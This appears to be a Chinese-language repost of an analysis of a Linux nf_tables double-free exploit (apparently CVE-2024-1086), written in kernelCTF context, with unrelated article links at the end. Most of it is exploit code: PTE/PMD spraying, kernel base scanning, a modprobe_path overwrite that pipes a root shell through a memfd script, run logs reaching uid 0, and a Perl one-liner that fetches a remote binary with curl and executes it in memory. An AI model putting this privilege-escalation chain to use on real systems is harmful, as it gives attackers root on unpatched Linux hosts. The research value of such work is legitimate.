堆喷PTE方法:直接写之前注册的VMA中的虚拟内存页,即可堆喷PTE。注意,一个PTE页包含512个页,也即0x20'0000字节(512*4096)。因此,我们每隔0x20'0000字节访问一次,总共访问CONFIG_PTE_SPRAY_AMOUNT次,即可堆喷16000个PTE页。

实现页表索引转化为虚拟地址:根据页表索引值恢复其虚拟地址,实现为PTI_TO_VIRT宏。即mm->pgd[pud_nr][pmd_nr][pte_nr][page_nr]对应的虚拟内存页是PTI_TO_VIRT(pud_nr, pmd_nr, pte_nr, page_nr, 0),例如,mm->pgd[1][0][0][0]对应虚拟内存页0x80'0000'0000

#define _pte_index_to_virt(i) (i << 12)
#define _pmd_index_to_virt(i) (i << 21)
#define _pud_index_to_virt(i) (i << 30)
#define _pgd_index_to_virt(i) (i << 39)
#define PTI_TO_VIRT(pud_index, pmd_index, pte_index, page_index, byte_index) \
	((void*)(_pgd_index_to_virt((unsigned long long)(pud_index)) + _pud_index_to_virt((unsigned long long)(pmd_index)) + \
	_pmd_index_to_virt((unsigned long long)(pte_index)) + _pte_index_to_virt((unsigned long long)(page_index)) + (unsigned long long)(byte_index)))


static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (spray-free skb's)

// 1-4. 堆喷16000个PTE页,耗尽PCP order-0 list
	printf("[*] spraying %d pte's...\n", CONFIG_PTE_SPRAY_AMOUNT);
	for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++) 		// 堆喷 PTE
		*(char*)PTI_TO_VIRT(2, 0, i, 0, 0) = 0x41;
     
    // ... (rest of the exploit)
}
(5)触发Double-Free-第2次释放

目标:我们之前耗尽了PCP list,并在第1次释放漏洞对象后喷射了很多PTE。现在进行第2次释放,并分配重叠的PMD

需精心构造IP头,来规避IPv4分片队列代码中的某些检查。具体参见第2或4章节。

// privesc_flh_bypass_no_time() —— 触发第2次释放
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (spray-alloc PTEs)

	PRINTF_VERBOSE("[*] double-freeing skb...\n");

// 1-5. 2nd Double-Free skb (包长度应该为16,但这里设置为0,触发错误来释放skb)
	df_ip_header.ip_id = 0x1337;
	df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
	df_ip_header.ip_off = ntohs(((32768 + 8) >> 3) | 0x2000);
	
	// set_freepointer()函数会将 skb1->len 覆写为 s->random(),需用一定技巧来释放队列,避免访问skb1->len
	// 使得ip_frag_queue()中的 end == offset, 这样就会清空packet(立刻释放,不会产生sleep)
	alloc_intermed_buf_hdr(0, &df_ip_header);

    // ... (rest of the exploit)
}
(6)堆喷PMD

方法:通过写入用户态页来分配重叠的PMD页。

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (free 2 of skb)

// 1-6. 分配重叠的PMD页。PMD[0]/PMD[1]会覆写PTE[0]/PTE[1]
	*(unsigned long long*)_pmd_area = 0xCAFEBABE;

    // ... (rest of the exploit)
}
(7)寻找重叠的PTE

目的:现在某处有重叠的PMD和PTE,需找出哪一个PTE是重叠的。本质上只需检查该值是否为原始值,否的话则表示被覆写。

原理:堆喷PMD后,某个PTE页被PMD覆写了,读取原先堆喷PTE时对应的虚拟内存,如果和初始化值不相等,则说明其PTE值被篡改了。

以防要进行手动检查,我们还会向用户打印物理地址0x0,该地址通常属于MMIO设备。

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (分配重叠的PMD页)

	printf("[*] checking %d sprayed pte's for overlap...\n", CONFIG_PTE_SPRAY_AMOUNT);

// 1-7. 找到重叠的PTE页对应的用户虚拟地址-pte_area
	pte_area = NULL;
	for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
	{
		unsigned long long *test_target_addr = PTI_TO_VIRT(2, 0, i, 0, 0); 	// 遍历PTE页,检查是否有PTE条目被篡改

		// 如果PTE页和PMD页重叠,则PTE条目pte[0]就会被覆写为&_pmd_area区域中的 `PFN+flags`,而不是 0x41
		if (*test_target_addr != 0x41)
		{
			printf("[+] confirmed double alloc PMD/PTE\n");
			PRINTF_VERBOSE("    - PTE area index: %lld\n", i);
			PRINTF_VERBOSE("    - PTE area (write target address/page): %016llx (new)\n", *test_target_addr);
			pte_area = test_target_addr;
		}
	}

	if (pte_area == NULL)
	{
		printf("[-] failed to detect overwritten pte: is more PTE spray needed? pmd: %016llx\n", *(unsigned long long*)_pmd_area);

		return;
	}

    // 设置新的pte值,以备sanity check
	*pte_area = 0x0 | 0x8000000000000867;

	flush_tlb(_pmd_area, 0x400000);
	PRINTF_VERBOSE("    - PMD area (read target value/page): %016llx (new)\n", *(unsigned long long*)_pmd_area);

    // (rest of the exploit)
}
5-1-3. 扫描物理内存

目的:设置好PUD和PMD后,就可以利用脏页目录:从用户态发起内核空间镜像攻击(KSMA)。现在我们可以将物理地址写入PTE条目中,然后在PMD区域中当作普通内存页来解引用。本节我们将先获取物理内核基址,并以可读/可写权限来访问modprobe_path内核变量。

(1)查找内核物理基地址

分析:用上述方法来绕过物理KASLR。假设物理内存有8G,则需要扫描的内存从8G降到2M的内存页,每个页只需读取约40字节(指纹)即可确定是否为内核基址,因此最坏情况下需读取 512*40=20480字节才能找到内核基址。

方法:为了确定某页是否为内核基址,作者编写了get-sigPython脚本,本质是比较特征字节,还可以扩展到其他内核(其他编译器和旧版内核)。

// 通过比较签名来判断是否为内核基址
static int is_kernel_base(unsigned char *addr)
{
	// thanks python
	
	// get-sig kernel_runtime_1
	if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 &&
			memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff", 7) == 0)
		return 1;

	// get-sig kernel_runtime_2
	if (memcmp(addr + 0x0, "\xfc\x0f\x01\x15", 4) == 0 &&
			memcmp(addr + 0x8, "\xb8\x10\x00\x00\x00\x8e\xd8\x8e\xc0\x8e\xd0\xbf", 12) == 0 &&
			memcmp(addr + 0x18, "\x89\xde\x8b\x0d", 4) == 0 &&
			memcmp(addr + 0x20, "\xc1\xe9\x02\xf3\xa5\xbc", 6) == 0 &&
			memcmp(addr + 0x2a, "\x0f\x20\xe0\x83\xc8\x20\x0f\x22\xe0\xb9\x80\x00\x00\xc0\x0f\x32\x0f\xba\xe8\x08\x0f\x30\xb8\x00", 24) == 0 &&
			memcmp(addr + 0x45, "\x0f\x22\xd8\xb8\x01\x00\x00\x80\x0f\x22\xc0\xea\x57\x00\x00", 15) == 0 &&
			memcmp(addr + 0x55, "\x08\x00\xb9\x01\x01\x00\xc0\xb8", 8) == 0 &&
			memcmp(addr + 0x61, "\x31\xd2\x0f\x30\xe8", 5) == 0 &&
			memcmp(addr + 0x6a, "\x48\xc7\xc6", 3) == 0 &&
			memcmp(addr + 0x71, "\x48\xc7\xc0\x80\x00\x00", 6) == 0 &&
			memcmp(addr + 0x78, "\xff\xe0", 2) == 0)
		return 1;


	return 0;
}

扫描:我们用可能是内核基页的512页来填充PTE页(和PMD页重叠)。如果扫描的页数超过512,只需将代码放入循环中并递增PFN(物理地址)。注意,如果物理内存是8G,就需要扫512页;若物理内存是4G,则需扫256页,因为4GiB / CONFIG_PHYSICAL_START = 256

PTE设置:在设置PTE条目时,需设置pte_area[j] = (CONFIG_PHYSICAL_START * j) | 0x8000000000000867;,其中PFN - CONFIG_PHYSICAL_START * j 就是物理地址,0x8000000000000867 flag标志表示对应页的读/写权限。

脏页目录原理:之前通过Double-Free构造了 mm->pgd[0][1](PMD)mm->pgd[0][2][0](PTE),**因此mm->pgd[0][1][x](PTE) mm->pgd[0][2][0][x](用户空间页),其中 x = 0->511。这意味着我们可以用512个用户页覆写和PMD重叠的512个PTE,这512个PTE负责另外512个用户页**,也就是说我们一次可以设置512 * 512 * 0x1000 = 0x4000'0000(1G)内存。

代码实现:为了便于理解,以下使用512个PTE中的2个PTE,分别用作pmd_kernel_area(用于搜索内核基址)和pmd_data_area(用于搜索内核内存的内容)。

// privesc_flh_bypass_no_time() —— 用于搜索内核基址
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (setup dirty pagedirectory)

// 2. 查找内核物理基地址 (每次扫描512页,对应1个PTE页)
	// range = (k * j) * CONFIG_PHYSICAL_ALIGN
	for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
	{
		unsigned long long kernel_iteration_base;

		kernel_iteration_base = k * (CONFIG_PHYSICAL_ALIGN * 512);
		// 2-1. 伪造PTE页,指向待扫描的物理地址
		PRINTF_VERBOSE("[*] setting kernel physical address range to 0x%016llx - 0x%016llx\n", kernel_iteration_base, kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * 512);
		for (unsigned short j=0; j < 512; j++)
			pte_area[j] = (kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j) | 0x8000000000000867;
		// 2-2. flush TLB (在子进程中调用munmap()取消映射,会将父进程中的TLB一起刷新)
		flush_tlb(_pmd_area, 0x400000);

		// 2-3. 每次迭代扫描1个PTE页(而不是CONFIG_PHYSICAL_ALIGN),根据指纹查找内核物理基址
		for (unsigned long long j=0; j < 512; j++) 
		{
			unsigned long long phys_kernel_base;
		
			// 检查内核代码节的x64-gcc/clang签名信息
			// - "kernel base" 指的是start_64()函数或者变体的汇编码地址
			// - 不同架构、编译器的签名信息都不同(例如clang的和gcc的不同)
			// - 可从vmlinux文件获取该基址,通过检查第2个segment,通常从二进制文件的0x200000偏移开始
			//   - i.e: xxd ./vmlinux | grep '00200000:'
		// 根据签名来判断是否为内核物理基址
			phys_kernel_base = kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j;

			PRINTF_VERBOSE("[*] phys kernel addr: %016llx, val: %016llx\n", phys_kernel_base, *(unsigned long long*)(pmd_kernel_area + j * 0x1000));

			if (is_kernel_base(pmd_kernel_area + j * 0x1000) == 0)
				continue;

            // ... (rest of the exploit)
		}
	}

	printf("[!] failed to find kernel code segment... TLB flush fail?\n");
	return;
}
(2)查找modprobe_path

方法:搜索CONFIG_MODPROBE_PATH"/sbin/modprobe")并且后面填充'\x00'最多到KMOD_PATH_LEN(256)个字节。检测该地址是否正确,可通过覆写该地址并检查/proc/sys/kernel/modprobe是否变化。

如果开启了静态usermode helper保护机制,可转而搜索CONFIG_STATIC_USERMODEHELPER_PATH"/sbin/usermode-helper"),只不过无法验证搜到的地址是否正确。

// privesc_flh_bypass_no_time() —— 搜索modprobe_path的物理地址
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ...

	// range = (k * j) * CONFIG_PHYSICAL_ALIGN
	// scan 512 pages (1 PTE worth) for kernel base each iteration
	for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
	{
		unsigned long long kernel_iteration_base;

        // ... (set 512 PTE entries in 1 PTE page)

		// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
		for (unsigned long long j=0; j < 512; j++) 
		{
			unsigned long long phys_kernel_base;

            // ... (find physical kernel base address)

// 3. 查找 modprobe_path 物理基址
			// 3-1. 从内核基址开始扫描 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) 字节, 搜索modprobe path,如果没找到,则从另一个内核基址开始扫
			for (int i=0; i < 40; i++) 
			{
				void *pmd_modprobe_addr;
				unsigned long long phys_modprobe_addr;
				unsigned long long modprobe_iteration_base;

				modprobe_iteration_base = phys_kernel_base + i * 0x200000;

				PRINTF_VERBOSE("[*] setting physical address range to 0x%016llx - 0x%016llx\n", modprobe_iteration_base, modprobe_iteration_base + 0x200000);

			// 3-2. 伪造第2个PTE页,指向待扫描的物理地址
				for (unsigned short j=0; j < 512; j++)
					pte_area[512 + j] = (modprobe_iteration_base + 0x1000 * j) | 0x8000000000000867;

				flush_tlb(_pmd_area, 0x400000);
			// 3-3. 搜索modprobe_path地址,并通过覆写来验证是否为正确地址
#if CONFIG_STATIC_USERMODEHELPER
				pmd_modprobe_addr = memmem(pmd_data_area, 0x200000, CONFIG_STATIC_USERMODEHELPER_PATH, strlen(CONFIG_STATIC_USERMODEHELPER_PATH));
#else
				pmd_modprobe_addr = memmem_modprobe_path(pmd_data_area, 0x200000, modprobe_path, KMOD_PATH_LEN);
#endif
				if (pmd_modprobe_addr == NULL)
					continue;

#if CONFIG_LEET
				breached_the_mainframe();
#endif

				phys_modprobe_addr = modprobe_iteration_base + (pmd_modprobe_addr - pmd_data_area);
				printf("[+] verified modprobe_path/usermodehelper_path: %016llx ('%s')...\n", phys_modprobe_addr, (char*)pmd_modprobe_addr);

                // ... (rest of the exploit)
			}
			
			printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
		}
	}

	printf("[!] failed to find kernel code segment... TLB flush fail?\n");
	return;
}
5-1-4. 覆写modprobe_path

最后的挑战:需要找到exploit真正的PID,这样就能执行/proc/<pid>/fd(该文件描述符含有提权脚本)。注意,即便使用磁盘上的文件,EXP也需要知道PID,因为如果位于mnt命名空间就需要用到/proc/<pid>/cwd。需modprobe_path覆写为"/proc/<pid>/fd/<script_fd>",也即提权脚本。本提权脚本是通过猜测PID

#define MEMCPY_HOST_FD_PATH(buf, pid, fd) sprintf((buf), "/proc/%u/fd/%u", (pid), (fd));

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ...

	// run this script instead of /sbin/modprobe
	int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
	int status_fd = memfd_create("", 0);

	// range = (k * j) * CONFIG_PHYSICAL_ALIGN
	// scan 512 pages (1 PTE worth) for kernel base each iteration
	for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
	{
		// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
		for (unsigned long long j=0; j < 512; j++) 
		{
			// scan 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) bytes from kernel base for modprobe path. if not found, just search for another kernel base
			for (int i=0; i < 40; i++) 
			{
				void *pmd_modprobe_addr;
				unsigned long long phys_modprobe_addr;
				unsigned long long modprobe_iteration_base;

                // ... (find modprobe_path)

				PRINTF_VERBOSE("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);
// 4. 覆写modprobe_path
				printf("[*] overwriting path with PIDs in range 0->4194304...\n");
			// 4-1. 猜测当前ns的PID号,将modprobe_path修改为 "/proc/<pid>/fd/<script_fd>"
				for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++)
				{
					int status_cnt;
					char buf;

					// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
					// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
					// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
					MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);

					if (pid_guess % 50 == 0)
					{
						PRINTF_VERBOSE("[+] overwriting modprobe_path with different PIDs (%u-%u)...\n", pid_guess, pid_guess + 50);
						PRINTF_VERBOSE("    - i.e. '%s' @ %p...\n", (char*)pmd_modprobe_addr, pmd_modprobe_addr);
						PRINTF_VERBOSE("    - matching modprobe_path scan var: '%s' @ %p)...\n", modprobe_path, modprobe_path);
					}
// 5. 获取root shell
                // 5-1. 构造提权脚本
					lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
					dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);

					// ... (rest of the exploit)
				}

				printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");

				return;
			}
			
			printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
		}
	}

	printf("[!] failed to find kernel code segment... TLB flush fail?\n");
	return;
}
5-1-5. 获取root shell

方法:调用modprobe_trigger_memfd()执行无效二进制文件,触发执行已被覆写的modprobe_path(指向脚本/proc/<pid>/fd/<fd>),该脚本会顺便往新分配的文件描述符写1,这样exploit就能检测到root shell成功执行。

无文件实现:参见linux无文件执行,主要用到 memfd_create() 创建文件,并调用 fexecve() 执行文件。

为了实现通用性,做到无文件且不依赖命名空间,作者在exp中将stdin 和 stdout 文件描述符劫持到root shell,本方法既适用于本地提权也能反弹shell。反弹shell的脚本如下:

#!/bin/sh
echo -n 1 > /proc/<exploit_pid>/fd/<status_fd>
/bin/sh 0</proc/<exploit_pid>/fd/0 1>/proc/<exploit_pid>/fd/1 2>&

触发modprobe_path的代码如下:

static void modprobe_trigger_memfd()
{
	int fd;
	char *argv_envp = NULL;

	fd = memfd_create("", MFD_CLOEXEC);
	write(fd, "\xff\xff\xff\xff", 4);

	fexecve(fd, &argv_envp, &argv_envp);
	
	close(fd);
}

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ...

	// run this script instead of /sbin/modprobe
	int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
	int status_fd = memfd_create("", 0);

	// range = (k * j) * CONFIG_PHYSICAL_ALIGN
	// scan 512 pages (1 PTE worth) for kernel base each iteration
	for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
	{
		// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
		for (unsigned long long j=0; j < 512; j++) 
		{
			// scan 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) bytes from kernel base for modprobe path. if not found, just search for another kernel base
			for (int i=0; i < 40; i++) 
			{
				for (pid_t pid_guess=0; pid_guess < 65536; pid_guess++)
				{
					int status_cnt;
					char buf;

                    // ... (overwrite modprobe_path)

				// 5-2. 触发执行modprobe_path,如果PID错误,则什么也不发生
					modprobe_trigger_memfd();

				// 5-3. 如果PID正确,且提权脚本成功执行,就会顺便往status_fd文件中写1
					status_cnt = read(status_fd, &buf, 1);
					if (status_cnt == 0)
						continue;

					printf("[+] successfully breached the mainframe as real-PID %u\n", pid_guess);

					return;
				}

				printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");

				return;
			}
			
			printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
		}
	}

	printf("[!] failed to find kernel code segment... TLB flush fail?\n");
	return;
}
5-1-6. 利用后的稳定性

问题及处理:内存漏洞利用过程中,页表页是不稳定的因素,如果利用进程停止,可能导致崩溃。解决办法是创建子进程完成利用,父进程直接退出。此外,为子进程注册信号处理程序,用于处理SIGINT键盘中断,但这会导致子进程在后台休眠,父进程不受影响(因为处理程序是在子进程中设置的)。

注意,不能使用wait(),因为子进程会继续在后台运行。

// 设置子进程并等待漏洞利用完成
int main()
{
	int *exploit_status;

	exploit_status = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	*exploit_status = EXPLOIT_STAT_RUNNING;

	// detaches program and makes it sleep in background when succeeding or failing
	// - prevents kernel system instability when trying to free resources
	if (fork() == 0)
	{
		int shell_stdin_fd;
		int shell_stdout_fd;

		signal(SIGINT, signal_handler_sleep);

		// open copies of stdout etc which will not be redirected when stdout is redirected, but will be printed to user
		shell_stdin_fd = dup(STDIN_FILENO);
		shell_stdout_fd = dup(STDOUT_FILENO);

#if CONFIG_REDIRECT_LOG
		setup_log("exp.log");
#endif

		setup_env();
 
		privesc_flh_bypass_no_time(shell_stdin_fd, shell_stdout_fd);

		*exploit_status = EXPLOIT_STAT_FINISHED;

		// prevent crashes due to invalid pagetables
		sleep(9999);
	}

	// prevent premature exits
	SPINLOCK(*exploit_status == EXPLOIT_STAT_RUNNING);

	return 0;
}
5-1-7. 运行测试

对于 KernelCTF环境,运行命令为cd /tmp && curl https://secret.pwning.tech/<gid> -o ./exploit && chmod +x ./exploit && ./exploit。还可以使用Perl无文件的执行该exploit。

user@lts-6:/$ id
uid=1000(user) gid=1000(user) groups=1000(user)

user@lts-6:/$ curl https://cno.pwning.tech/aaaabbbb-cccc-dddd-eeee-ffffgggghhhh -o /tmp/exploit && cd /tmp && chmod +x exploit && ./exploit
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  161k  100  161k    0     0   823k      0 --:--:-- --:--:-- --:--:--  823k

[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[*] waiting for the calm before the storm...
[*] sending double free buffer packet...
[*] spraying 16000 pte's...
[   13.592791] ------------[ cut here ]------------
[   13.594923] WARNING: CPU: 0 PID: 229 at mm/slab_common.c:985 free_large_kmalloc+0x3c/0x60
...
[   13.746361] ---[ end trace 0000000000000000 ]---
[   13.748375] object pointer: 0x000000003d8afe8c
[*] checking 16000 sprayed pte's for overlap...
[+] confirmed double alloc PMD/PTE
[+] found possible physical kernel base: 0000000014000000
[+] verified modprobe_path/usermodehelper_path: 0000000016877600 ('/sanitycheck')...
[*] overwriting path with PIDs in range 0->4194304...
[   14.409252] process 'exploit' launched '/dev/fd/13' with NULL argv: empty string added
/bin/sh: 0: can't access tty; job control turned off
root@lts-6:/# id
uid=0(root) gid=0(root) groups=0(root)

root@lts-6:/# cat /flag
kernelCTF{v1:mitigation-v3-6.1.55:1705665799:...}

root@lts-6:/# 

请添加图片描述

注意,在KernelCTF环境中,可通过内核warning来获得PID,但是为了通用性,作者选择暴破PID。

如果目标系统安装了Perl,且目标文件系统是只读的,可以无文件执行exp。将 modprobe_path 设置为/proc/<exploit_pid>/fd/<target_script>。以下脚本可以在不写入磁盘的情况下完成利用。

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  open(my $fh, ">&=".$fd);
  print $fh `curl https://example.com/exploit -s`;
  exec {"/proc/$$/fd/$fd"} "memfd";
'

5-2. 编译EXP

EXP需修改的地方

  • v6.3.13内核默认勾选了CONFIG_STATIC_USERMODEHELPER配置,所以EXP中需将CONFIG_STATIC_USERMODEHELPER设置为1;

  • 如果为8G内存,只需伪造1个PTE页;超过8G,需要伪造两个PTE页(本文exp已实现)。参见4-8节;

  • 不同的内核,指纹信息不同,需采用get-sig脚本收集内核指纹信息,修改is_kernel_base()函数。

    # 可从vmlinux文件获取该基址,通过检查第2个segment,通常从二进制文件的0x200000偏移开始,查看特征字符是否和EXP中memcmp比较的相同。
    $ xxd ./vmlinux | grep '00200000:'
    00200000: fc0f 0115 e082 4203 b810 0000 008e d88e  ......B.........
    
(1)依赖

依赖库:主要依赖libnftnl-devlibmnl-dev,可以简化exp构造过程。Libmnl 解析并构造netlink头,libnftnl负责构造netfilter用到的对象(例如chain和table),并序列化为libmnl用到的netlink消息。

EXP中还为musl-gcc编译的库添加了一个 .a(ar archive)文件,该文件本质上是编译器可以理解的目标文件(.zip),这样musl-gcc就能将库静态链接。作者还需要下载一个单独的libmnl-dev版本,下面已列出。

(2)Makefile

为了实现静态编译(kernelCTF上可用),使用以下makefile:

SRC_FILES := src/main.c src/env.c src/net.c src/nftnl.c src/file.c
OUT_NAME = ./exploit

# use musl-gcc since statically linking glibc with gcc generated invalid opcodes for qemu
#   and dynamically linking raised glibc ABI versioning errors
CC = musl-gcc

# use custom headers with fixed versions in a musl-gcc compatible manner
# - ./include/libmnl: libmnl v1.0.5
# - ./include/libnftnl: libnftnl v1.2.6
# - ./include/linux-lts-6.1.72: linux v6.1.72
CFLAGS = -I./include -I./include/linux-lts-6.1.72 -Wall -Wno-deprecated-declarations

# use custom object archives compiled with musl-gcc for compatibility. normal ones 
#   are used with gcc and have _chk funcs which musl doesn't support
# the versions are the same as the headers above
LIBMNL_PATH = ./lib/libmnl.a
LIBNFTNL_PATH = ./lib/libnftnl.a

exploit: _compile_static _strip_bin
clean:
	rm $(OUT_NAME)


_compile_static:
	$(CC) $(CFLAGS) $(SRC_FILES) -o $(OUT_NAME) -static $(LIBNFTNL_PATH) $(LIBMNL_PATH)
_strip_bin:
	strip $(OUT_NAME)
(3)静态编译错误记录

问题1:找不到Libmnl库

使用apt和gcc编译时遇到问题,Debian稳定版中的libmnl-dev含有一个无效的 .a 文件,尝试静态编译时报错如下:

/usr/bin/ld: cannot find -lmnl: No such file or directory 
collect2: error: ld returned 1 exit status 
make: *** [Makefile:17: _compile_static] Error 1

解决:需安装不稳定版的libmnl,命令为sudo apt install libmnl-dev/sid*/sid表示从Debian不稳定目录中安装该包。否则,需要gcc自行编译libmnl库,并自行创建 .a 文件。

问题2:错误的操作码——AVX指令

使用gcc和glibc静态编译EXP时,遇到不支持的AVX(512)指令。QEMU不支持AVX512 扩展指令,所以有50%的可能会触发CPU trap。

[   15.211423] traps: exploit[167] trap invalid opcode ip:433db9 sp:7ffcb0682ee8 error:0 in exploit[401000+92000]

解决:删除QEMU VM中的-cpu host参数,并在该VM中编译EXP,这样就不会使用AVX512扩展指令。但是KernelCTF始终以-cpu host启动,后来知道,需要用 musl-gcc静态编译EXP,因为glibc不是为静态编译而设计的。

musl 安装:

$ sudo apt-get install musl-tools
# 源码安装 - 下载源码 https://musl.libc.org/
$ ./configure
$ make
$ make install

6. 常用命令

参考 CVE-2022-34918

liburing 安装:

# 安装 liburing   生成 liburing.a / liburing.so.2.2
$ make
$ sudo make install

常用命令

# ssh连接与测试
$ ssh -p 10021 hi@localhost             # password: lol
$ ./exploit

# 编译exp
$ make CFLAGS="-I /home/hi/lib/libnftnl-1.2.2/include"
$ gcc -static ./get_root.c -o ./get_root
$ gcc -no-pie -static -pthread ./exploit.c -o ./exploit

# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi      # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./   # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root  hi@localhost:/home/hi

问题:原来的 ext4文件系统空间太小,很多包无法安装,现在换syzkaller中的 stretch.img 试试。

# 服务端添加用户
$ useradd hi && echo lol | passwd --stdin hi
# ssh连接
$ sudo chmod 0600 ./stretch.id_rsa
$ ssh -i stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
$ ssh -p 10021 hi@localhost
# 问题: Host key verification failed.
# 删除ip对应的相关rsa信息即可登录 $ sudo nano ~/.ssh/known_hosts
# https://blog.csdn.net/ouyang_peng/article/details/83115290

ftrace调试:注意,QEMU启动时需加上 no_hash_pointers 启动选项,否则打印出来的堆地址是hash之后的值。trace中只要用 %p 打印出来的数据都会被hash,所以可以修改 TP_printk() 处输出时的格式符,%p -> %lx

# host端, 需具备root权限
cd /sys/kernel/debug/tracing
echo 1 > events/kmem/kmalloc/enable
echo 1 > events/kmem/kmalloc_node/enable
echo 1 > events/kmem/kfree/enable

# ssh 连进去执行 exploit

cat /sys/kernel/debug/tracing/trace > /home/hi/trace.txt

# 下载 trace
scp -P 10021 hi@localhost:/home/hi/trace.txt ./ 	# 下载文件

参考

Flipping Pages: An analysis of a new Linux vulnerability in nf_tables and hardened exploitation techniques —— 通用利用方法,本方法名叫Dirty Pagedirectory。利用堆漏洞(例如Double-Free)在同一地址分配Page Upper Directory (PUD)Page Middle Directory (PMD),其VMA 应该是独立的,以避免冲突(因此不要在 PUD 区域内分配 PMD)。 然后,向PMD范围内的页写入地址,并读取PUD范围的相应页中的地址。

CVE-2024-1086-exploit

Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel —— Dirty Pagetable,利用堆漏洞(UAF/Double-Free/OOB)篡改末级页表中的PTE条目,实现任意物理地址读写。

Linux内存管理与KSMA攻击 —— Kernel-Space-Mirror-Attack,基于一次内核写漏洞,修改页表(描述符)实现物理地址的重新映射,从而实现任意内核地址读写原语。

Linux Kernel:内存管理之分页(Paging)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/611812.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

buuctf-misc题目练习三

荷兰宽带数据泄露 BIN 文件&#xff0c;也称为二进制文件&#xff0c;是一种压缩文件格式&#xff0c;可以 包含图像和视频等信息 , 并被许多应用程序用于各种目的。 RouterPassView是一个找回路由器密码的工具。 大多数现代路由器允许备份到一个文件路由器的配置&#xff0c…

双目相机标定流程(MATLAB)

一&#xff1a;经典标定方法 1.1OPENCV 1.2ROS ROS进行双目视觉标定可以得到左右两个相机的相机矩阵和畸变系数&#xff0c;如果是单目标定&#xff0c;用ROS会非常方便。 3.MATLAB标定&#xff08;双目标定&#xff09; MATLAB用来双目标定会非常方便&#xff0c;主要是为…

【算法入门赛】A.坐标变换(推荐学习)C++题解与代码

比赛链接&#xff1a;https://www.starrycoding.com/contest/8 题目描述 武汉市可以看做一个二维地图。 牢 e e e掌握了一项特异功能&#xff0c;他可以“瞬移”&#xff0c;每次瞬移需要分别设定 x x x和 y y y的偏移量 d x dx dx和 d y dy dy&#xff0c;瞬移完成后位置会…

电脑设置在哪里打开?Window与Mac双系统操作指南

随着科技的不断发展&#xff0c;电脑已经成为我们日常生活和工作中不可或缺的一部分。然而&#xff0c;对于许多初学者来说&#xff0c;如何找到并熟悉电脑的设置界面可能是一个挑战。特别是对于那些同时使用Windows和Mac双系统的用户来说&#xff0c;更是需要一篇详尽的指南来…

【计算机毕业设计】springboot国风彩妆网站

